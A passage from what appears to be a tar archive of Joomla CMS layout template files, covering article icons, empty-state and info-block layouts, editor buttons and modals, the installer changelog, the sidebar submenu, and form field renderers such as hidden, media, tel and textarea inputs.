class="filter-notes"><?php echo Text::_('COM_CONFIG_TEXT_FILTERS_DESC'); ?></div> </details> <details> <summary class="filter-notes"><?php echo Text::_('JGLOBAL_FILTER_TYPE_LABEL'); ?></summary> <div class="filter-notes"><?php echo Text::_('JGLOBAL_FILTER_TYPE_DESC'); ?></div> </details> <details> <summary class="filter-notes"><?php echo Text::_('JGLOBAL_FILTER_TAGS_LABEL'); ?></summary> <div class="filter-notes"><?php echo Text::_('JGLOBAL_FILTER_TAGS_DESC'); ?></div> </details> <details> <summary class="filter-notes"><?php echo Text::_('JGLOBAL_FILTER_ATTRIBUTES_LABEL'); ?></summary> <div class="filter-notes"><?php echo Text::_('JGLOBAL_FILTER_ATTRIBUTES_DESC'); ?></div> </details> <?php $fieldsnames = explode(',', $displayData->fieldsname); ?> <?php foreach ($fieldsnames as $fieldname) : ?> <?php foreach ($displayData->form->getFieldset($fieldname) as $field) : ?> <div class="table-responsive"><?php echo $field->input; ?></div> <?php endforeach; ?> <?php endforeach; ?> </fieldset> joomla/content/icons/create.php 0000644 00000001107 15216442676 0012602 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt * @deprecated 4.3 will be removed in 6.0 */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; $params = $displayData['params']; ?> <?php if ($params->get('show_icons')) : ?> <span class="icon-plus icon-fw" aria-hidden="true"></span> <?php echo Text::_('JNEW'); ?> <?php else : ?> <?php echo Text::_('JNEW') . ' '; ?> <?php endif; ?> joomla/content/icons/edit_lock.php 0000644 00000001641 15216442676 0013277 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; if (isset($displayData['ariaDescribed'])) { $aria_described = $displayData['ariaDescribed']; } elseif (isset($displayData['article'])) { $article = $displayData['article']; $aria_described = 'editarticle-' . (int) $article->id; } elseif (isset($displayData['contact'])) { $contact = $displayData['contact']; $aria_described = 'editcontact-' . (int) $contact->id; } $tooltip = $displayData['tooltip']; ?> <span class="hasTooltip icon-lock" aria-hidden="true"></span> <?php echo Text::_('JLIB_HTML_CHECKED_OUT'); ?> <div role="tooltip" id="<?php echo $aria_described; ?>"> <?php echo $tooltip; ?> </div> joomla/content/icons/edit.php 0000644 00000001724 15216442676 0012271 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; $article = $displayData['article']; $tooltip = $displayData['tooltip']; $nowDate = strtotime(Factory::getDate()); $icon = $article->state ? 'edit' : 'eye-slash'; $currentDate = Factory::getDate()->format('Y-m-d H:i:s'); $isUnpublished = ($article->publish_up > $currentDate) || !is_null($article->publish_down) && ($article->publish_down < $currentDate); if ($isUnpublished) { $icon = 'eye-slash'; } $aria_described = 'editarticle-' . (int) $article->id; ?> <span class="icon-<?php echo $icon; ?>" aria-hidden="true"></span> <?php echo Text::_('JGLOBAL_EDIT'); ?> <div role="tooltip" id="<?php echo $aria_described; ?>"> <?php echo $tooltip; ?> </div> joomla/content/associations.php 0000644 00000001404 15216442676 0012723 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $items = $displayData; if (!empty($items)) : ?> <ul class="item-associations"> <?php foreach ($items as $id => $item) : ?> <?php if (is_array($item) && isset($item['link'])) : ?> <li> <?php echo $item['link']; ?> </li> <?php elseif (isset($item->link)) : ?> <li> <?php echo $item->link; ?> </li> <?php endif; ?> <?php endforeach; ?> </ul> <?php endif; ?> joomla/content/emptystate.php 0000644 00000004610 15216442676 0012425 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; $textPrefix = $displayData['textPrefix'] ?? ''; if (!$textPrefix) { $textPrefix = strtoupper(Factory::getApplication()->getInput()->get('option')); } $formURL = $displayData['formURL'] ?? ''; $createURL = $displayData['createURL'] ?? ''; $helpURL = $displayData['helpURL'] ?? ''; $title = $displayData['title'] ?? Text::_($textPrefix . '_EMPTYSTATE_TITLE'); $content = $displayData['content'] ?? Text::_($textPrefix . '_EMPTYSTATE_CONTENT'); $icon = $displayData['icon'] ?? 'icon-copy article'; $append = $displayData['formAppend'] ?? ''; $btnadd = $displayData['btnadd'] ?? Text::_($textPrefix . '_EMPTYSTATE_BUTTON_ADD'); ?> <form action="<?php echo Route::_($formURL); ?>" method="post" name="adminForm" id="adminForm"> <div class="px-4 py-5 my-5 text-center"> <span class="fa-8x mb-4 <?php echo $icon; ?>" aria-hidden="true"></span> <h1 class="display-5 fw-bold"><?php echo $title; ?></h1> <div class="col-lg-6 mx-auto"> <p class="lead mb-4"> <?php echo $content; ?> </p> <div class="d-grid gap-2 d-sm-flex justify-content-sm-center"> <?php if ($createURL && Factory::getApplication()->getInput()->get('tmpl') !== 'component') : ?> <a href="<?php echo Route::_($createURL); ?>" id="confirmButton" class="btn btn-primary btn-lg px-4 me-sm-3 emptystate-btnadd"><?php echo $btnadd; ?></a> <?php endif; ?> <?php if ($helpURL) : ?> <a href="<?php echo $helpURL; ?>" target="_blank" class="btn btn-outline-secondary btn-lg px-4"><?php echo Text::_('JGLOBAL_LEARN_MORE'); ?></a> <?php endif; ?> </div> </div> </div> <?php // Allow appending any modals (Eg: Bulk Import on com_redirect). echo $append; ?> <input type="hidden" name="task" value=""> <input type="hidden" name="boxchecked" value="0"> <?php echo HTMLHelper::_('form.token'); ?> </form> joomla/content/info_block.php 0000644 00000004675 15216442676 0012346 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; $blockPosition = $displayData['params']->get('info_block_position', 0); ?> <dl class="article-info text-muted"> <?php if ( $displayData['position'] === 'above' && ($blockPosition == 0 || $blockPosition == 2) || $displayData['position'] === 'below' && ($blockPosition == 1) ) : ?> <dt class="article-info-term"> <?php if ($displayData['params']->get('info_block_show_title', 1)) : ?> <?php echo Text::_('COM_CONTENT_ARTICLE_INFO'); ?> <?php endif; ?> </dt> <?php if ($displayData['params']->get('show_author') && !empty($displayData['item']->author)) : ?> <?php echo $this->sublayout('author', $displayData); ?> <?php endif; ?> <?php if ($displayData['params']->get('show_parent_category') && !empty($displayData['item']->parent_id)) : ?> <?php echo $this->sublayout('parent_category', $displayData); ?> <?php endif; ?> <?php if ($displayData['params']->get('show_category')) : ?> <?php echo $this->sublayout('category', $displayData); ?> <?php endif; ?> <?php if ($displayData['params']->get('show_associations')) : ?> <?php echo $this->sublayout('associations', $displayData); ?> <?php endif; ?> <?php if ($displayData['params']->get('show_publish_date')) : ?> <?php echo $this->sublayout('publish_date', $displayData); ?> <?php endif; ?> <?php endif; ?> <?php if ( $displayData['position'] === 'above' && ($blockPosition == 0) || $displayData['position'] === 'below' && ($blockPosition == 1 || $blockPosition == 2) ) : ?> <?php if ($displayData['params']->get('show_create_date')) : ?> <?php echo $this->sublayout('create_date', $displayData); ?> <?php endif; ?> <?php if ($displayData['params']->get('show_modify_date')) : ?> <?php echo $this->sublayout('modify_date', $displayData); ?> <?php endif; ?> <?php if ($displayData['params']->get('show_hits')) : ?> <?php echo $this->sublayout('hits', $displayData); ?> <?php endif; ?> <?php endif; ?> </dl> joomla/content/icons.php 0000644 00000001211 15216442676 0011333 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; $canEdit = $displayData['params']->get('access-edit'); $articleId = $displayData['item']->id; ?> <?php if ($canEdit) : ?> <div class="icons"> <div class="float-end"> <div> <?php echo HTMLHelper::_('icon.edit', $displayData['item'], $displayData['params']); ?> </div> </div> </div> <?php endif; ?> joomla/editors/buttons/button.php 0000644 00000002474 15216442676 0013244 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Uri\Uri; $button = $displayData; if ($button->get('name')) : $class = 'btn btn-secondary'; $class .= ($button->get('class')) ? ' ' . $button->get('class') : null; $class .= ($button->get('modal')) ? ' modal-button' : null; $href = '#' . $button->get('editor') . '_' . strtolower($button->get('name')) . '_modal'; $link = ($button->get('link')) ? Uri::base() . $button->get('link') : null; $onclick = ($button->get('onclick')) ? ' onclick="' . $button->get('onclick') . '"' : ''; $title = ($button->get('title')) ? $button->get('title') : $button->get('text'); $icon = ($button->get('icon')) ? $button->get('icon') : $button->get('name'); ?> <button type="button" data-bs-target="<?php echo $href; ?>" class="xtd-button btn btn-secondary <?php echo $class; ?>" <?php echo $button->get('modal') ? 'data-bs-toggle="modal"' : '' ?> title="<?php echo $title; ?>" <?php echo $onclick; ?>> <span class="icon-<?php echo $icon; ?>" aria-hidden="true"></span> <?php echo $button->get('text'); ?> </button> <?php endif; ?> joomla/editors/buttons/modal.php 0000644 00000004342 15216442676 0013021 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Uri\Uri; $button = $displayData; if (!$button->get('modal')) { return; } $class = ($button->get('class')) ? $button->get('class') : null; $class .= ($button->get('modal')) ? ' modal-button' : null; $href = '#' . $button->get('editor') . '_' . strtolower($button->get('name')) . '_modal'; $link = ($button->get('link')) ? Uri::base() . $button->get('link') : null; $onclick = ($button->get('onclick')) ? ' onclick="' . $button->get('onclick') . '"' : ''; $title = ($button->get('title')) ? $button->get('title') : $button->get('text'); $options = is_array($button->get('options')) ? $button->get('options') : []; $confirm = ''; if (is_array($button->get('options')) && isset($options['confirmText']) && isset($options['confirmCallback'])) { $confirm = '<button type="button" class="btn btn-success" data-bs-dismiss="modal" onclick="' . $options['confirmCallback'] . '">' . $options['confirmText'] . ' </button>'; } if (null !== $button->get('id')) { $id = str_replace(' ', '', $button->get('id')); } else { $id = $button->get('editor') . '_' . strtolower($button->get('name')) . '_modal'; } // @todo: J4: Move Make buttons fullscreen on smaller devices per https://github.com/joomla/joomla-cms/pull/23091 // Create the modal echo HTMLHelper::_( 'bootstrap.renderModal', $id, [ 'url' => $link, 'title' => $title, 'height' => array_key_exists('height', $options) ? $options['height'] : '400px', 'width' => array_key_exists('width', $options) ? $options['width'] : '800px', 'bodyHeight' => array_key_exists('bodyHeight', $options) ? $options['bodyHeight'] : '70', 'modalWidth' => array_key_exists('modalWidth', $options) ? $options['modalWidth'] : '80', 'footer' => $confirm . '<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">' . Text::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>' ] ); joomla/editors/buttons.php 0000644 00000001233 15216442676 0011721 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; $buttons = $displayData; ?> <div class="editor-xtd-buttons" role="toolbar" aria-label="<?php echo Text::_('JTOOLBAR'); ?>"> <?php if ($buttons) : ?> <?php foreach ($buttons as $button) : ?> <?php echo $this->sublayout('button', $button); ?> <?php echo $this->sublayout('modal', $button); ?> <?php endforeach; ?> <?php endif; ?> </div> joomla/installer/changelog.php 0000644 00000003226 15216442676 0012502 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ use Joomla\CMS\Language\Text; defined('_JEXEC') or die; array_walk( $displayData, function ($items, $changeType) { // If there are no items, continue if (empty($items)) { return; } switch ($changeType) { case 'security': $class = 'bg-danger'; break; case 'fix': $class = 'bg-dark'; break; case 'language': $class = 'bg-primary'; break; case 'addition': $class = 'bg-success'; break; case 'change': $class = 'bg-warning text-dark'; break; case 'remove': $class = 'bg-secondary'; break; default: case 'note': $class = 'bg-info'; break; } ?> <div class="changelog"> <div class="changelog__item"> <div class="changelog__tag"> <span class="badge <?php echo $class; ?>"><?php echo Text::_('COM_INSTALLER_CHANGELOG_' . $changeType); ?></span> </div> <div class="changelog__list"> <ul> <li><?php echo implode('</li><li>', $items); ?></li> </ul> </div> </div> </div> <?php } ); joomla/sidebars/submenu.php 0000644 00000006124 15216442676 0012030 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; use Joomla\Filter\OutputFilter; /** @var Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = \Joomla\CMS\Factory::getApplication()->getDocument()->getWebAssetManager(); $wa->useScript('core'); ?> <?php if ($displayData->displayMenu || $displayData->displayFilters) : ?> <div id="j-toggle-sidebar-wrapper"> <div id="sidebar" class="sidebar"> <button class="btn btn-sm btn-secondary my-2 options-menu d-md-none" type="button" data-bs-toggle="collapse" data-bs-target=".sidebar-nav" aria-controls="sidebar-nav" aria-expanded="false" aria-label="<?php echo Text::_('JTOGGLE_SIDEBAR_MENU'); ?>"> <span class="icon-align-justify" aria-hidden="true"></span> <?php echo Text::_('JTOGGLE_SIDEBAR_MENU'); ?> </button> <div class="sidebar-nav"> <?php if ($displayData->displayMenu) : ?> <ul class="nav flex-column"> <?php foreach ($displayData->list as $item) : if (isset($item[2]) && $item[2] == 1) : ?> <li class="active"> <?php else : ?> <li> <?php endif; if ($displayData->hide) : ?> <a class="nolink"><?php echo $item[0]; ?></a> <?php else : if ($item[1] !== '') : ?> <a href="<?php echo OutputFilter::ampReplace($item[1]); ?>"><?php echo $item[0]; ?></a> <?php else : ?> <?php echo $item[0]; ?> <?php endif; endif; ?> </li> <?php endforeach; ?> </ul> <?php endif; ?> <?php if ($displayData->displayMenu && $displayData->displayFilters) : ?> <hr> <?php endif; ?> <?php if ($displayData->displayFilters) : ?> <div class="filter-select d-none d-md-block"> <h4 class="page-header"><?php echo Text::_('JSEARCH_FILTER_LABEL'); ?></h4> <?php foreach ($displayData->filters as $filter) : ?> <label for="<?php echo $filter['name']; ?>" class="visually-hidden"><?php echo $filter['label']; ?></label> <select name="<?php echo $filter['name']; ?>" id="<?php echo $filter['name']; ?>" class="form-select" onchange="this.form.submit()"> <?php if (!$filter['noDefault']) : ?> <option value=""><?php echo $filter['label']; ?></option> <?php endif; ?> <?php echo $filter['options']; ?> </select> <hr> <?php endforeach; ?> </div> <?php endif; ?> </div> </div> <div id="j-toggle-sidebar"></div> </div> <?php endif; ?> joomla/form/field/hidden.php 0000644 00000005302 15216442676 0012034 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $checkedOptions Options that will be set as checked. * @var boolean $hasValue Has this field a value assigned? * @var array $options Options available for this field. * @var array $inputType Options available for this field. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attribute for eg, data-* */ // Initialize some field attributes. $class = !empty($class) ? ' class="' . $class . '"' : ''; $disabled = $disabled ? ' disabled' : ''; $onchange = $onchange ? ' onchange="' . $onchange . '"' : ''; ?> <input type="hidden" name="<?php echo $name; ?>" id="<?php echo $id; ?>" value="<?php echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>" <?php echo $class, $disabled, $onchange, $dataAttribute; ?>> joomla/form/field/media.php 0000644 00000017402 15216442676 0011664 0 ustar 00 <?php /** * @package Joomla.Admin * @subpackage Layout * * @copyright (C) 2015 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Helper\MediaHelper; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\CMS\Uri\Uri; extract($displayData); /** * Layout variables * ----------------- * @var string $asset The asset text * @var string $authorField The label text * @var integer $authorId The author id * @var string $class The class text * @var boolean $disabled True if field is disabled * @var string $folder The folder text * @var string $id The label text * @var string $link The link text * @var string $name The name text * @var string $preview The preview image relative path * @var integer $previewHeight The image preview height * @var integer $previewWidth The image preview width * @var string $onchange The onchange text * @var boolean $readonly True if field is readonly * @var integer $size The size text * @var string $value The value text * @var string $src The path and filename of the image * @var array $mediaTypes The supported media types for the Media Manager * @var array $imagesExt The supported extensions for images * @var array $audiosExt The supported extensions for audios * @var array $videosExt The supported extensions for videos * @var array $documentsExt The supported extensions for documents * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attribute for eg, data-* */ $attr = ''; // Initialize some field attributes. $attr .= !empty($class) ? ' class="form-control field-media-input ' . $class . '"' : ' class="form-control field-media-input"'; $attr .= !empty($size) ? ' size="' . $size . '"' : ''; $attr .= $dataAttribute; // Initialize JavaScript field attributes. $attr .= !empty($onchange) ? ' onchange="' . $onchange . '"' : ''; switch ($preview) { case 'no': // Deprecated parameter value case 'false': case 'none': $showPreview = false; break; case 'yes': // Deprecated parameter value case 'true': case 'show': case 'tooltip': default: $showPreview = true; break; } // Pre fill the contents of the popover if ($showPreview) { $cleanValue = MediaHelper::getCleanMediaFieldValue($value); if ($cleanValue && file_exists(JPATH_ROOT . '/' . $cleanValue)) { $src = Uri::root() . $value; } else { $src = ''; } $width = $previewWidth; $height = $previewHeight; $style = ''; $style .= ($width > 0) ? 'max-width:' . $width . 'px;' : ''; $style .= ($height > 0) ? 'max-height:' . $height . 'px;' : ''; $imgattr = [ 'id' => $id . '_preview', 'class' => 'media-preview', 'style' => $style, ]; $img = HTMLHelper::_('image', $src, Text::_('JLIB_FORM_MEDIA_PREVIEW_ALT'), $imgattr); $previewImg = '<div id="' . $id . '_preview_img">' . $img . '</div>'; $previewImgEmpty = '<div id="' . $id . '_preview_empty"' . ($src ? ' class="hidden"' : '') . '>' . Text::_('JLIB_FORM_MEDIA_PREVIEW_EMPTY') . '</div>'; $showPreview = 'static'; } // The url for the modal $url = ($readonly ? '' : ($link ?: 'index.php?option=com_media&view=media&tmpl=component&mediatypes=' . $mediaTypes . '&asset=' . $asset . '&author=' . $authorId) . '&fieldid={field-media-id}&path=' . $folder); // Correctly route the url to ensure it's correctly using sef modes and subfolders $url = Route::_($url); $doc = Factory::getDocument(); $wam = $doc->getWebAssetManager(); $wam->useScript('webcomponent.media-select'); $doc->addScriptOptions('media-picker-api', ['apiBaseUrl' => Uri::base() . 'index.php?option=com_media&format=json']); Text::script('JFIELD_MEDIA_LAZY_LABEL'); Text::script('JFIELD_MEDIA_ALT_LABEL'); Text::script('JFIELD_MEDIA_ALT_CHECK_LABEL'); Text::script('JFIELD_MEDIA_ALT_CHECK_DESC_LABEL'); Text::script('JFIELD_MEDIA_CLASS_LABEL'); Text::script('JFIELD_MEDIA_FIGURE_CLASS_LABEL'); Text::script('JFIELD_MEDIA_FIGURE_CAPTION_LABEL'); Text::script('JFIELD_MEDIA_LAZY_LABEL'); Text::script('JFIELD_MEDIA_SUMMARY_LABEL'); Text::script('JFIELD_MEDIA_EMBED_CHECK_DESC_LABEL'); Text::script('JFIELD_MEDIA_DOWNLOAD_CHECK_DESC_LABEL'); Text::script('JFIELD_MEDIA_DOWNLOAD_CHECK_LABEL'); Text::script('JFIELD_MEDIA_EMBED_CHECK_LABEL'); Text::script('JFIELD_MEDIA_WIDTH_LABEL'); Text::script('JFIELD_MEDIA_TITLE_LABEL'); Text::script('JFIELD_MEDIA_HEIGHT_LABEL'); Text::script('JFIELD_MEDIA_UNSUPPORTED'); Text::script('JFIELD_MEDIA_DOWNLOAD_FILE'); Text::script('JLIB_APPLICATION_ERROR_SERVER'); Text::script('JLIB_FORM_MEDIA_PREVIEW_EMPTY', true); $modalHTML = HTMLHelper::_( 'bootstrap.renderModal', 'imageModal_' . $id, [ 'url' => $url, 'title' => Text::_('JLIB_FORM_CHANGE_IMAGE'), 'closeButton' => true, 'height' => '100%', 'width' => '100%', 'modalWidth' => '80', 'bodyHeight' => '60', 'footer' => '<button type="button" class="btn btn-success button-save-selected">' . Text::_('JSELECT') . '</button>' . '<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">' . Text::_('JCANCEL') . '</button>', ] ); $wam->useStyle('webcomponent.field-media') ->useScript('webcomponent.field-media'); if (count($doc->getScriptOptions('media-picker')) === 0) { $doc->addScriptOptions('media-picker', [ 'images' => $imagesExt, 'audios' => $audiosExt, 'videos' => $videosExt, 'documents' => $documentsExt, ]); } ?> <joomla-field-media class="field-media-wrapper" type="image" <?php // @TODO add this attribute to the field in order to use it for all media types ?> base-path="<?php echo Uri::root(); ?>" root-folder="<?php echo ComponentHelper::getParams('com_media')->get('file_path', 'images'); ?>" url="<?php echo $url; ?>" modal-container=".modal" modal-width="100%" modal-height="400px" input=".field-media-input" button-select=".button-select" button-clear=".button-clear" button-save-selected=".button-save-selected" preview="static" preview-container=".field-media-preview" preview-width="<?php echo $previewWidth; ?>" preview-height="<?php echo $previewHeight; ?>" supported-extensions="<?php echo str_replace('"', '"', json_encode(['images' => $imagesAllowedExt, 'audios' => $audiosAllowedExt, 'videos' => $videosAllowedExt, 'documents' => $documentsAllowedExt])); ?> "> <?php echo $modalHTML; ?> <?php if ($showPreview) : ?> <div class="field-media-preview"> <?php echo ' ' . $previewImgEmpty; ?> <?php echo ' ' . $previewImg; ?> </div> <?php endif; ?> <div class="input-group"> <input type="text" name="<?php echo $name; ?>" id="<?php echo $id; ?>" value="<?php echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>" <?php echo $attr; ?>> <?php if ($disabled != true) : ?> <button type="button" class="btn btn-success button-select"><?php echo Text::_('JLIB_FORM_BUTTON_SELECT'); ?></button> <button type="button" class="btn btn-danger button-clear"><span class="icon-times" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('JLIB_FORM_BUTTON_CLEAR'); ?></span></button> <?php endif; ?> </div> </joomla-field-media> joomla/form/field/tel.php 0000644 00000006617 15216442676 0011377 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $checkedOptions Options that will be set as checked. * @var boolean $hasValue Has this field a value assigned? * @var array $options Options available for this field. * @var array $inputType Options available for this field. * @var string $accept File types that are accepted. * @var integer $maxLength The maximum length that the field shall accept. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attribute for eg, data-*. */ $attributes = [ !empty($size) ? 'size="' . $size . '"' : '', !empty($description) ? 'aria-describedby="' . ($id ?: $name) . '-desc"' : '', $disabled ? 'disabled' : '', $readonly ? 'readonly' : '', strlen($hint) ? 'placeholder="' . htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"' : '', !empty($autocomplete) ? 'autocomplete="' . $autocomplete . '"' : '', $autofocus ? 'autofocus' : '', $spellcheck ? '' : 'spellcheck="false"', $onchange ? 'onchange="' . $onchange . '"' : '', !empty($maxLength) ? $maxLength : '', $required ? 'required' : '', !empty($pattern) ? 'pattern="' . $pattern . '"' : '', $dataAttribute, ]; ?> <input type="tel" inputmode="tel" name="<?php echo $name; ?>" <?php echo !empty($class) ? ' class="form-control ' . $class . '"' : 'class="form-control"'; ?> id="<?php echo $id; ?>" value="<?php echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>" <?php echo implode(' ', $attributes); ?>> joomla/form/field/textarea.php 0000644 00000007606 15216442676 0012427 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $checkedOptions Options that will be set as checked. * @var boolean $hasValue Has this field a value assigned? * @var array $options Options available for this field. * @var array $inputType Options available for this field. * @var string $accept File types that are accepted. * @var boolean $charcounter Does this field support a character counter? * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attribute for eg, data-*. */ // Initialize some field attributes. if ($charcounter) { // Load the js file /** @var Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = Factory::getApplication()->getDocument()->getWebAssetManager(); $wa->useScript('short-and-sweet'); // Set the css class to be used as the trigger $charcounter = ' charcount'; // Set the text $counterlabel = 'data-counter-label="' . $this->escape(Text::_('JFIELD_META_DESCRIPTION_COUNTER')) . '"'; } $attributes = [ $columns ?: '', $rows ?: '', !empty($class) ? 'class="form-control ' . $class . $charcounter . '"' : 'class="form-control' . $charcounter . '"', !empty($description) ? 'aria-describedby="' . ($id ?: $name) . '-desc"' : '', strlen($hint) ? 'placeholder="' . htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"' : '', $disabled ? 'disabled' : '', $readonly ? 'readonly' : '', $onchange ? 'onchange="' . $onchange . '"' : '', $onclick ? 'onclick="' . $onclick . '"' : '', $required ? 'required' : '', !empty($autocomplete) ? 'autocomplete="' . $autocomplete . '"' : '', $autofocus ? 'autofocus' : '', $spellcheck ? '' : 'spellcheck="false"', $maxlength ?: '', !empty($counterlabel) ? $counterlabel : '', $dataAttribute, ]; ?> <textarea name="<?php echo $name; ?>" id="<?php echo $id; ?>" <?php echo implode(' ', $attributes); ?> ><?php echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?></textarea> joomla/form/field/url.php 0000644 00000006773 15216442676 0011420 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ 